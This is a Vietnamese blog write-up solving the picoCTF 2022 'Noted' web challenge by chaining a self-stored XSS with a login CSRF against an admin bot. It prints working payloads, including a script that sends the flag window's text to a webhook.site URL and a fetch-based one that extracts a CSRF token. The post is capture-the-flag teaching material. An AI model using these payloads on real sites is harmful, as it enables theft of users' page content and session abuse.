Home Noted - picoCTF2022
Post
Cancel
picoctf logo

Noted - picoCTF2022

Sơ lược về challenge

Trang gồm có hai chức năng LoginRegister overview1 overview1

Tiếp đó ta thể tạo note và gửi link để report. overview2 overview2

Phân tích

Sau khi thử thì mình nhận thấy có lỗi xss ở đây test note Click to play video

Suy ra bài này là một dạng Self Store XSS

Cũng tương tự như các bài xss khác, chức năng report sẽ làm con bot (đóng vai trò như admin) access đến link mà ta gửi. report report.js Bot sẽ tạo một tài khoản với tk, mk random và tạo một note với content chính là flag. Sau đó sẽ access tới url được report.

Trong web.js có thể thấy server dùng csrf token trong các route. csrf web.js

Khai thác

Bởi vì sau khi vừa tạo note thì phiên hoạt động của bot vẫn còn hiệu lực nên từ đó ta sẽ nghĩ cách để có thể lấy nội dung từ trang /notes của con bot (chứa flag) và gửi đến webhook hoặc có thể tạo một note mới với content là flag ở account của ta.

Bởi vì sau khi vừa tạo note thì session của bot vẫn còn lưu trên trình duyệt nên từ đó ta sẽ nghĩ cách để có thể lấy nội dung từ trang /notes của con bot (chứa flag) và gửi đến webbook hoặc có thể tạo một note mới với content là flag ở account của ta.

Gửi đến webhook

Cách này không đòi hỏi phải extract csrf token flow1 flow1

Đầu tiên ta khởi tạo 1 account với tk,mk: bla mục đích là lưu xss script có vai trò gửi nội dung của window chứa flag tới webhook của ta.

XSS note sẽ có nội dung như sau:

1
2
3
4
<script>
  if (window.location.search.includes('pwn'))
    window.location = 'https://webhook.site/<id>?' + window.open('', 'flag').document.body.textContent
</script>

Ở đây ta dùng window.location.search.includes là để tránh việc bị redirect liên tục tới webhook.

Tiếp theo ở exploit server ta tạo một index.html với layout exploit server flow2

Csrf form sẽ là:

1
2
3
4
    <form action='http://0.0.0.0:8080/login' method='POST' id='csrf' target='_blank'>
        <input type="text" name="username" value="bla">
        <input type="text" name="password" value="bla">
    </form>

Script để exploit sẽ là:

1
2
3
4
5
    <script>
        window.open('http://0.0.0.0:8080/notes', 'flag');
        setTimeout(`csrf.submit()`, 1000);
        setTimeout(`window.location='http://0.0.0.0:8080/notes?pwn'`, 1500);
    </script>

Trong csrf form ta thêm thuộc tính target và gán giá trị bằng _blank để reponse trả về từ action sẽ mở ở tab mới nếu không các dòng javascript ở bên dưới sẽ không được thực thi.

Để hiểu rõ hơn về cách khai thác này ta sẽ đặt tất cả lại với nhau:

  • Đầu tiên gửi cho con bot link exploit server, bot sẽ truy cập tới exploit server hay cụ thể là index.html
  • Đoạn script ở index.html sẽ open new tab với tên là flag (sẽ không yêu cầu nhập username, password bởi vì phiên hoạt động của bot vẫn còn và cửa sổ này sẽ chứa note với content là flag)
  • Sau 1s thì submit csrf form lúc này bot sẽ login vào account ta vừa tạo và kết quả hiển thị ở new blank tab
  • Sau 1,5s thì chuyển hướng từ exploit page đến http://0.0.0.0:8080/notes?pwn lưu ý rằng ở đoạn code trước ta đã đăng nhập vào tài khoản bla nên bây giờ cũng sẽ chuyển hướng tới /notes của bla. ?pwn dùng để trigger store xss và gửi nội dung cửa sổ flag đến webhook. Có thể thấy lúc này ta không hề vi phạm same origin policy khi lấy document.body.textContent từ cửa sổ flag bởi vì chúng đều thuộc cùng domain, port và scheme.

Và kết quả: result result

Extract csrf token

Ở cách này thì form csrf vẫn như cách kia nhưng có sự thay đổi về xss note và script exploit

Script exploit:

1
2
3
4
    <script>
        window.open('http://0.0.0.0:8080/notes', 'flag')
        setTimeout(`csrf.submit()`, 1000);
    </script>

XSS note:

1
2
3
4
5
6
7
8
9
10
<script>
fetch("/new").then(r => r.text()).then(r => {
    //extract csrf token từ '/new'
    let csrf = r.match(/_csrf" value="([^"]*)/)[1];
    //lấy flag
    let flag = window.open('', 'flag').document.querySelector("body>div>p").innerHTML;
    //tạo note với content là flag ở account của ta
    fetch("/new", { method: "POST", body: JSON.stringify({ _csrf: csrf, title: "PWNED!!!", content: flag }), headers: { 'Content-Type': 'application/json' } });
});
</script>

Kết quả: result' result

Tham khảo

https://docs.abbasmj.com/ctf-writeups/picoctf-2022#noted

This post is licensed under CC BY 4.0 by the author.

Slipping beauty - webhacking.kr

31 Line PHP - SPbCTF2021